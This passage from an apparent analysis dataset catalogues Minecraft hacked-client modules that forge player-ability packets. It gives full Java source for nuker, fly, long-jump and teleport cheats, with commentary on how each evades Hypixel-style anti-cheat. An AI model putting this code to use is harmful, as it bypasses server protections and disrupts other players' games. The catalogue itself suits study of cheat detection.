event.setCancelled();\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        this.toggle();\n    };\n\n    private void nuke(final double range, final double x, final double y, final double z) {\n        for (double posX = -range; posX < range; posX++) {\n            for (double posY = range; posY > -range; posY--) {\n                for (double posZ = -range; posZ < range; posZ++) {\n                    if (scatter.getValue() && !((mc.thePlayer.ticksExisted % 2 == 0 ? posX : posZ) % 2 == 0)) {\n                        continue;\n                    }\n\n                    final BlockPos blockPos = new BlockPos(x + posX, y + posY, z + posZ);\n                    final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n\n                    if (block instanceof BlockAir) {\n                        continue;\n                    }\n\n                    if (rotations.getValue()) {\n                        final Vector2f rotations = RotationUtil.calculate(new Vector3d(blockPos.getX(), blockPos.getY(), blockPos.getZ()));\n                        PacketUtil.sendNoEvent(new C03PacketPlayer.C05PacketPlayerLook(rotations.x, rotations.y, false));\n                    }\n                    PacketUtil.sendNoEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.UP));\n\n                    if (swing.getValue()) {\n                        mc.thePlayer.swingItem();\n                    }\n                }\n            }\n        }\n\n//        final BlockPos blockPos = new BlockPos(x, y, z);\n//        final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n//\n//        if (block instanceof BlockAir) {\n//            return;\n//        }\n//\n//        if (rotations.getValue()) {\n//            final Vector2f rotations = RotationUtil.calculate(new Vector3d(blockPos.getX(), blockPos.getY(), blockPos.getZ()));\n//            PacketUtil.sendNoEvent(new C03PacketPlayer.C05PacketPlayerLook(rotations.x, rotations.y, false));\n//        }\n//        PacketUtil.sendNoEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n//        PacketUtil.sendNoEvent(new C08PacketPlayerBlockPlacement(blockPos, EnumFacing.UP.getIndex(), mc.thePlayer.getHeldItem(), 255, 255, 255));\n//        PacketUtil.sendNoEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n//\n//        if (swing.getValue()) {\n//            mc.thePlayer.swingItem();\n//        }\n    }\n}\n// NOTE (AI): The C13 hit is in the Teleport mode: before path-teleporting to the targeted block, the module checks the client-side capabilities and, if allowFlying is true but isFlying is false, mutates the shared capabilities object and sends C13 with isFlying=true. This synchronizes the server-side flying flag so the airborne C04 teleport path does not trigger fly kick or movement checks while the nuker walks the computed path.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Nuker.java",
      "vanilla_hook": "PreMotionEvent.",
      "anti_cheat_notes": "Only meaningful when the server already granted allowFlying (creative or S39); otherwise the bit is ANDed out and the C04 teleports carry the flag risk.",
      "variations": "Same code in Rise 6.1.30."
     },
     {
      "name": "Fly / LongJump / BackupFly (ability spoof)",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Declare flight abilities client-side and mirror the declaration to the server as part of Hypixel-targeted flight modules.",
      "how_it_works": "LongJump's onEnable forges PlayerCapabilities with isFlying, allowFlying, isCreativeMode and a random flySpeed 0.1..9.0 and sends via sendPacketNoEvent. Fly and BackupFly repeat the same construct at fixed points in their damage-fly sequences.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/movement/LongJump.java =====\npackage info.spicyclient.modules.movement;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.modules.Module.Category;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.util.MathHelper;\n\npublic class LongJump extends Module {\n\t\n\tpublic LongJump() {\n\t\tsuper(\"Long Jump\", Keyboard.KEY_NONE, Category.MOVEMENT);\n\t}\n\n\t\n\tpublic void onEnable() {\n\t\t\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = true;\n        playerCapabilities.allowFlying = true;\n        playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n        playerCapabilities.isCreativeMode = true;\n        mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n        \n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic static boolean jumped = false;\n\tpublic static Timer timer = new Timer();\n\t\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t}\n\t\t\n\t\tif (e instanceof EventMotion) {\n\t\t\t\n\t\t\tif (e.isPost()) {\n\t\t\t\t\n\t\t\t\tif (jumped && mc.thePlayer.onGround) {\n\t\t\t\t\tthis.toggle();\n\t\t\t\t\tjumped = false;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\n                if (MovementUtils.isOnGround(0.000001)) {\n                \t\n                \tMovementUtils.strafe((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + 1.25f);\n                    mc.thePlayer.jump();\n                    e.setCanceled(true);\n                    jumped = true;\n\n                }\n\n                mc.thePlayer.setSprinting(true);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\t\n}\n// NOTE (AI): LongJump's onEnable forges a PlayerCapabilities with isFlying, allowFlying, isCreativeMode and a random flySpeed between 0.1 and 9.0, then sends it via sendPacketNoEvent. The vanilla server ignores allowFlying, creativeMode and flySpeed from C13 and only ANDs the isFlying bit against its own allowFlying, so this is a client-side state declaration for the movement code, with the packet doubling as a desync probe against servers that do read abilities.",
      "code_source": "Spicy, info/spicyclient/modules/movement/LongJump.java",
      "vanilla_hook": "onEnable, EventMotion/EventUpdate handlers.",
      "anti_cheat_notes": "The server ignores the forged allowFlying, so these modules still rely on the damage-fly trick for actual flight; C13 is a state declaration that keeps the client's own capabilities and the packet stream consistent.",
      "variations": "Spicy Fly.java and BackupFly.java duplicate the same PlayerCapabilities construction with the random flySpeed and creative flag; Spicy Disabler sends it twice when Fly is enabled."
     },
     {
      "name": "LuaEventPacket (scripting wrapper)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C13 (and every other serverbound class) to Lua scripts as a numeric packet id plus direction.",
      "how_it_works": "A static map binds each packet class to its protocol id, C13 at 0x13; the LuaEventPacket constructor resolves the incoming EventPacket's class through the map and records 'out' for EventPacket.Out sends, 'in' otherwise. The @DontObfuscate annotation keeps the class name readable so the Lua runtime can reflect it.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): The full scripting wrapper: a static map of every serverbound class to its protocol id (C13 at 0x13), resolved per EventPacket with an in/out direction. The comment explains why the map exists: obfuscation makes reflection-based id lookup unreliable.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket wrap point in the scripting engine.",
      "anti_cheat_notes": "This is a scripting surface, not an exploit: it lets user scripts intercept and rewrite C13 traffic; the map is the ground truth the Lua API uses instead of reflection, because obfuscation would break class lookups.",
      "variations": "The same wrapper backs every packet impl in this corpus; November Recode 2.0 has no dedicated C13 module, so this map entry is its only corpus appearance for C13."
     },
     {
      "name": "LastestHypixelFly / Fly (flight declaration)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Declare isFlying to the server with a fresh PlayerCapabilities C13 on enable, and retract it on disable, as part of the Hypixel flight rig.",
      "how_it_works": "onEnable builds a PlayerCapabilities with isFlying true, queues C13 through addToSendQueue together with the C0F sentinel and two C04 hops at y+0.17 and y+0.06, then zeroes stepHeight and motion. onDisable sends a fresh C13 with isFlying false, restores stepHeight and sends a bare C04. The flight itself is client-side motion: UpdateEvent drives motionY, MoveEvent computes horizontal velocity, and the send handler cancels all C03 until the first S08 arrives (the go signal), toggling off on a late S08 as a setback.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/LastestHypixelFly.java =====\npackage me.AquaVit.liquidSense.modules.movement;\n\nimport com.google.gson.JsonObject;\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.Gui.Notifications.Notificationsn;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.MoveEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Speed;\nimport net.ccbluex.liquidbounce.features.module.modules.render.HUD;\nimport net.ccbluex.liquidbounce.utils.ChatUtil;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.ChatComponentText;\n\n@ModuleInfo(name = \"LastestHypixelFly\",description = \"Allows you to Fly.\", category = ModuleCategory.MOVEMENT)\npublic class LastestHypixelFly extends Module {\n    boolean tp;\n    private final FloatValue motionSpeedValue = new FloatValue(\"Speed\", 5F, 0F, 5F);\n    private final MSTimer s08 = new MSTimer();\n    HUD hd = (HUD)LiquidBounce.moduleManager.getModule(\"HUD\");\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n        tp = false;\n        s08.reset();\n        mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" + LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"Now Disabler!\"));\n        if(hd.no.get()){\n            ChatUtil.sendClientMessage(\"Now disabler!\", Notificationsn.Type.INFO);\n        }\n\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = true;\n        mc.getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(0, (short)(-1), false));\n        mc.getNetHandler().addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.17, mc.thePlayer.posZ, true));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));\n        mc.thePlayer.stepHeight = 0.0f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @Override\n    public void onDisable() {\n        s08.reset();\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = false;\n        mc.thePlayer.onGround = true;\n        mc.getNetHandler().addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n        mc.timer.timerSpeed = 1.0f;\n        mc.thePlayer.stepHeight = 0.625f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n    }\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event){\n        mc.thePlayer.onGround = false;\n        if (mc.thePlayer.movementInput.jump) {\n            mc.thePlayer.motionY = 1.5;\n        } else if (mc.thePlayer.movementInput.sneak) {\n            mc.thePlayer.motionY = -1.5;\n        } else {\n            mc.thePlayer.motionY = 0;\n        }\n    }\n\n    @EventTarget\n    public void onMove(MoveEvent event) {\n        if (!tp) {\n            event.cancelEvent();\n        }\n        if(tp){\n            double speed = motionSpeedValue.get();\n            double forward = mc.thePlayer.movementInput.moveForward;\n            double strafe = mc.thePlayer.movementInput.moveStrafe;\n            float yawm = mc.thePlayer.rotationYaw;\n            if ((forward == 0.0D) && (strafe == 0.0D)) {\n                event.setX(0.0D);\n                event.setZ(0.0D);\n            } else {\n                if (forward != 0.0D) {\n                    if (strafe > 0.0D) {\n                        yawm += (forward > 0.0D ? -45 : 45);\n                    } else if (strafe < 0.0D) {\n                        yawm += (forward > 0.0D ? 45 : -45);\n                    }\n                    strafe = 0.0D;\n                    if (forward > 0.0D) {\n                        forward = 1;\n                    } else if (forward < 0.0D) {\n                        forward = -1;\n                    }\n                }\n                event.setX(forward * speed * Math.cos(Math.toRadians(yawm + 90.0F))\n                        + strafe * speed * Math.sin(Math.toRadians(yawm + 90.0F)));\n                event.setZ(forward * speed * Math.sin(Math.toRadians(yawm + 90.0F))\n                        - strafe * speed * Math.cos(Math.toRadians(yawm + 90.0F)));\n            }\n        }\n    }\n    @EventTarget\n    public final void onSendPacket(PacketEvent event) {\n        if (!tp && event.getPacket() instanceof C03PacketPlayer) {\n            event.cancelEvent();\n        }\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (!this.tp) {\n                s08.reset();\n                this.tp = true;\n                mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" + LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"Fly Now!\"));\n                if(hd.no.get()) {\n                    ChatUtil.sendClientMessage(\"Now u can fly!\", Notificationsn.Type.SUCCESS);\n                }\n            }\n        }\n        if (this.tp){\n            if(s08.hasTimePassed(1500)){\n                if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n                    ClientUtils.displayChatMessage(\"§8[§c§lDisablerHypixel-§a§lFly§8] §cSetback detected.\");\n                    s08.reset();\n                    toggle();\n                }\n            }\n        }\n    }\n\n}\n// NOTE (AI): The full LastestHypixelFly module: onEnable sends the C13 isFlying declaration with the C0F sentinel and two C04 hops, onDisable retracts it, and the send handler cancels all C03 until the first S08 authorizes the position. The LiquidBounce Fly Zoom mode sends the same C13 before its blink-buffer flush.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/LastestHypixelFly.java",
      "vanilla_hook": "onEnable and onDisable direct sends, PacketEvent (C03 cancel, S08 gate).",
      "anti_cheat_notes": "The C13 claim is ANDed against server-side allowFlying and dropped for non-creative players, so the declaration is safe; the actual flag surface is the movement that follows, which is why the module cancels C03 until the server's S08 authorizes the position.",
      "variations": "LiquidBounce's stock Fly.java Zoom mode sends the same allowFlying plus isFlying C13 before flushing its blink buffer (line 314 and again at line 752); Tp.java carries an identical onEnable declaration. Spicy's LongJump forges creative-mode capabilities instead."
     },
     {
      "name": "Tp / TeleportCommand (teleport rig)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Send C13 ability packets as part of the path-teleport rig: an isFlying declaration on enable, and per-node ability spam along the C04 path.",
      "how_it_works": "Tp's onEnable declares isFlying true (with the C0F sentinel and two C04 hops), then on the first S08 it walks a pathfinding route emitting C04 packets (fall-distance hops of 0.0601, 5.0E-4 and 0.00499999...) plus a C0C input, then snaps the player to the destination. The TeleportCommand twin sends a C13 per path node inside its teleport thread: invulnerable, creative, flying and allowFlying all false, flySpeed 1.0E8F and walkSpeed 1.0E8F minus 1F, absurd values aimed at parsers that read the floats before the vanilla handler discards them.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/command/commands/TeleportCommand.java =====\npackage net.ccbluex.liquidbounce.features.command.commands;\n\nimport com.google.gson.JsonObject;\nimport com.google.gson.JsonParser;\nimport me.AquaVit.liquidSense.modules.world.LightningCheck;\nimport me.AquaVit.liquidSense.modules.world.LookTp;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.MotionEvent;\nimport net.ccbluex.liquidbounce.event.MoveEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.features.command.Command;\nimport net.ccbluex.liquidbounce.features.module.modules.render.Rotations;\nimport net.ccbluex.liquidbounce.utils.AStarCustomPathFinder;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.CustomVec3;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.material.Material;\nimport net.minecraft.command.CommandException;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.Vec3;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ArrayList;\n\npublic class TeleportCommand extends Command {\n    public static BlockPos target;\n    public Entity targetEntity;\n    public TimeUtils timer = new TimeUtils();\n    public TimeUtils tpreset = new TimeUtils();\n    public boolean tp;\n    int PlayerY;\n    private ArrayList<CustomVec3> path = new ArrayList<>();\n    private boolean tryCancelPacket;\n\n\n    public TeleportCommand() {\n        super(\"tp\", new String[0]);\n    }\n\n    @Override\n    public void execute(@NotNull String[] args) {\n        if (args.length == 0) {\n            ClientUtils.displayChatMessage(\"[Teleport] Please type X Y Z\");\n        }\n        try {\n            timer.reset();\n            tp = false;\n            targetEntity = null;\n            target = null;\n            if (args.length == 3) {\n                target = new BlockPos(Integer.parseInt(args[0]), Integer.parseInt(args[1]), Integer.parseInt(args[2]));\n            } else if (args.length == 2) {\n                if (!args[0].contains(\"LN\")) {\n                    for (Entity entity : mc.theWorld.loadedEntityList) {\n                        if (entity instanceof EntityPlayer && mc.thePlayer != entity) {\n                            if (entity.getName().equalsIgnoreCase(args[0])) {\n                                targetEntity = entity;\n                                PlayerY = Integer.parseInt(args[1]);\n                                break;\n                            }\n                        }\n                    }\n\n                    if (targetEntity == null) {\n                        ClientUtils.displayChatMessage(\"Can not locate \" + args[0]);\n                        return;\n                    } else {\n                        ClientUtils.displayChatMessage(\"Located Player \" + targetEntity.getName() + \"And Pos Y Added \" + PlayerY + \" !\");\n                    }\n                }\n            } else if (args.length == 1) {\n\n                if (args[0].contains(\"FN\")) {\n                    target = new BlockPos(LightningCheck.x, LightningCheck.y, LightningCheck.z);\n                    ClientUtils.displayChatMessage(\"Located Lighting \" + \"!\");\n                }\n                /*\n                if (args[0].contains(\"TCK\")) {\n                    target = new BlockPos(LookTp., ClickTP.y_new, ClickTP.z_new);\n                    ClientUtils.displayChatMessage(\"Located Click Point \" + \"!\");\n                }\n                 */\n                if (!args[0].contains(\"LN\") && !args[0].contains(\"TCK\")) {\n                    for (Entity entity : mc.theWorld.loadedEntityList) {\n                        if (entity instanceof EntityPlayer && mc.thePlayer != entity) {\n                            if (entity.getName().equalsIgnoreCase(args[0])) {\n                                targetEntity = entity;\n                                PlayerY = 0;\n                                break;\n                            }\n                        }\n                    }\n\n                    if (targetEntity == null) {\n                        ClientUtils.displayChatMessage(\"Can not locate \" + args[0]);\n                        return;\n                    } else {\n                        ClientUtils.displayChatMessage(\"Located Player \" + targetEntity.getName() + \"And Pos Y Added \" + PlayerY + \" !\");\n                    }\n                }\n\n\n            }\n\n            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false));\n            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY + 0.675319998688697815, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false));\n            tryCancelPacket = true;\n\n\n        } catch (Exception e) {\n            // TODO: handle exception\n        }\n    }\n\n    @EventTarget\n    public void onMove(MoveEvent e) {\n        if (tryCancelPacket) {\n            e.cancelEvent();\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent e) {\n        if (tryCancelPacket && (e.getPacket() instanceof C03PacketPlayer.C04PacketPlayerPosition || e.getPacket() instanceof C03PacketPlayer.C06PacketPlayerPosLook || e.getPacket() instanceof C03PacketPlayer.C05PacketPlayerLook)) {\n            e.cancelEvent();\n        }\n\n        if (e.getPacket() instanceof S08PacketPlayerPosLook) {\n            S08PacketPlayerPosLook packet = (S08PacketPlayerPosLook) e.getPacket();\n            packet.pitch = mc.thePlayer.rotationPitch;\n            packet.yaw = mc.thePlayer.rotationYaw;\n            tryCancelPacket = false;\n\n            if (e.getPacket() instanceof S08PacketPlayerPosLook) {\n\n                if (!tp) {\n                    ClientUtils.displayChatMessage(\"暂时绕过反作弊!\");\n                    tp = true;\n                    e.cancelEvent();\n                }\n            }\n        }\n    }\n\n    @EventTarget\n    private void onUpdate(MotionEvent event) {\n        if (timer.hasReached(8500)) {\n            ClientUtils.displayChatMessage(\"Failed to teleport.\");\n        }\n\n        if (tp) {\n            tp = false;\n\n            CustomVec3 topFrom = new CustomVec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ);\n\n            if (target == null)\n                target = new BlockPos(targetEntity.posX, targetEntity.posY + PlayerY, targetEntity.posZ);\n\n            CustomVec3 to = new CustomVec3(target.getX(), target.getY(), target.getZ());\n            path = computePath(topFrom, to);\n            tpreset.reset();\n            ClientUtils.displayChatMessage(\"Teleporting to X:\" + target.getX() + \" Y:\" + target.getY() + \" Z:\" + target.getZ());\n\n            new Thread() {\n                @Override\n                public void run() {\n                    try {\n                        sleep(1000);\n                    } catch (InterruptedException interruptedException) {\n                        interruptedException.printStackTrace();\n                    }\n\n                    for (CustomVec3 pathElm : path) {\n                        mc.thePlayer.sendQueue.getNetworkManager().sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(pathElm.getX(), pathElm.getY(), pathElm.getZ(), true));\n                        C13PacketPlayerAbilities packet = new C13PacketPlayerAbilities();\n                        packet.setInvulnerable(false);\n                        packet.setCreativeMode(false);\n                        packet.setFlying(false);\n                        packet.setAllowFlying(false);\n                        packet.setFlySpeed(1.0E8F);\n                        packet.setWalkSpeed(1.0E8F - 1F);\n                        mc.getNetHandler().getNetworkManager().sendPacket(packet);\n                    }\n\n                    mc.thePlayer.sendQueue.getNetworkManager().sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(target.getX(), target.getY(), target.getZ(), mc.thePlayer.onGround));\n                    mc.thePlayer.setPosition(target.getX(), target.getY(), target.getZ());\n                    mc.thePlayer.sendQueue.getNetworkManager().sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(target.getX(), target.getY() - MovementUtils.getDistanceToGround(mc.thePlayer), target.getZ(), mc.thePlayer.onGround));\n                    mc.thePlayer.setPosition(target.getX(), target.getY() - MovementUtils.getDistanceToGround(mc.thePlayer), target.getZ());\n\n                    ClientUtils.displayChatMessage(\"Teleported!\");\n                }\n            }.start();\n        }\n    }\n\n\n    private ArrayList<CustomVec3> computePath(CustomVec3 topFrom, CustomVec3 to) {\n        if (!canPassThrow(new BlockPos(topFrom.mc()))) {\n            topFrom = topFrom.addVector(0, 1, 0);\n        }\n        AStarCustomPathFinder pathfinder = new AStarCustomPathFinder(topFrom, to);\n        pathfinder.compute();\n\n        int i = 0;\n        CustomVec3 lastLoc = null;\n        CustomVec3 lastDashLoc = null;\n        ArrayList<CustomVec3> path = new ArrayList<CustomVec3>();\n        ArrayList<CustomVec3> pathFinderPath = pathfinder.getPath();\n        for (CustomVec3 pathElm : pathFinderPath) {\n            if (i == 0 || i == pathFinderPath.size() - 1) {\n                if (lastLoc != null) {\n                    path.add(lastLoc.addVector(0.5, 0, 0.5));\n                }\n                path.add(pathElm.addVector(0.5, 0, 0.5));\n                lastDashLoc = pathElm;\n            } else {\n                boolean canContinue = true;\n                if (pathElm.squareDistanceTo(lastDashLoc) > 5 * 5) {\n                    canContinue = false;\n                } else {\n                    double smallX = Math.min(lastDashLoc.getX(), pathElm.getX());\n                    double smallY = Math.min(lastDashLoc.getY(), pathElm.getY());\n                    double smallZ = Math.min(lastDashLoc.getZ(), pathElm.getZ());\n                    double bigX = Math.max(lastDashLoc.getX(), pathElm.getX());\n                    double bigY = Math.max(lastDashLoc.getY(), pathElm.getY());\n                    double bigZ = Math.max(lastDashLoc.getZ(), pathElm.getZ());\n                    cordsLoop:\n                    for (int x = (int) smallX; x <= bigX; x++) {\n                        for (int y = (int) smallY; y <= bigY; y++) {\n                            for (int z = (int) smallZ; z <= bigZ; z++) {\n                                if (!AStarCustomPathFinder.checkPositionValidity(x, y, z, false)) {\n                                    canContinue = false;\n                                    break cordsLoop;\n                                }\n                            }\n                        }\n                    }\n                }\n                if (!canContinue) {\n                    path.add(lastLoc.addVector(0.5, 0, 0.5));\n                    lastDashLoc = lastLoc;\n                }\n            }\n            lastLoc = pathElm;\n            i++;\n        }\n        return path;\n    }\n\n    private boolean canPassThrow(BlockPos pos) {\n        Block block = mc.theWorld.getBlockState(new net.minecraft.util.BlockPos(pos.getX(), pos.getY(), pos.getZ())).getBlock();\n        return block.getMaterial() == Material.air || block.getMaterial() == Material.plants || block.getMaterial() == Material.vine || block == Blocks.ladder || block == Blocks.water || block == Blocks.flowing_water || block == Blocks.wall_sign || block == Blocks.standing_sign;\n    }\n}\n// NOTE (AI): The full TeleportCommand: the teleport thread walks the computed path, sending C04 per node and a C13 with flySpeed 1.0E8F and walkSpeed 1.0E8F minus 1F on every node, then snaps the player to the target and drops to the ground. The absurd floats are the corpus hit; the Tp module's onEnable uses the same declaration style.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/command/commands/TeleportCommand.java",
      "vanilla_hook": "onEnable (Tp), TickEvent (path walk), command thread (TeleportCommand).",
      "anti_cheat_notes": "The C13 here is a state declaration that keeps the client's capabilities consistent while the unconfirmed C04 walk carries the actual flag risk; the 1.0E8 flySpeed in TeleportCommand is the absurd-float family trick from Memeware's NaN Watchdog mode.",
      "variations": "Tp.java and LastestHypixelFly.java share the enable declaration block; TeleportCommand is the chat-command variant with the absurd-float spam; the LiquidBounce Fly Zoom mode uses the same C13 before releasing its blink buffer."
     }
    ],
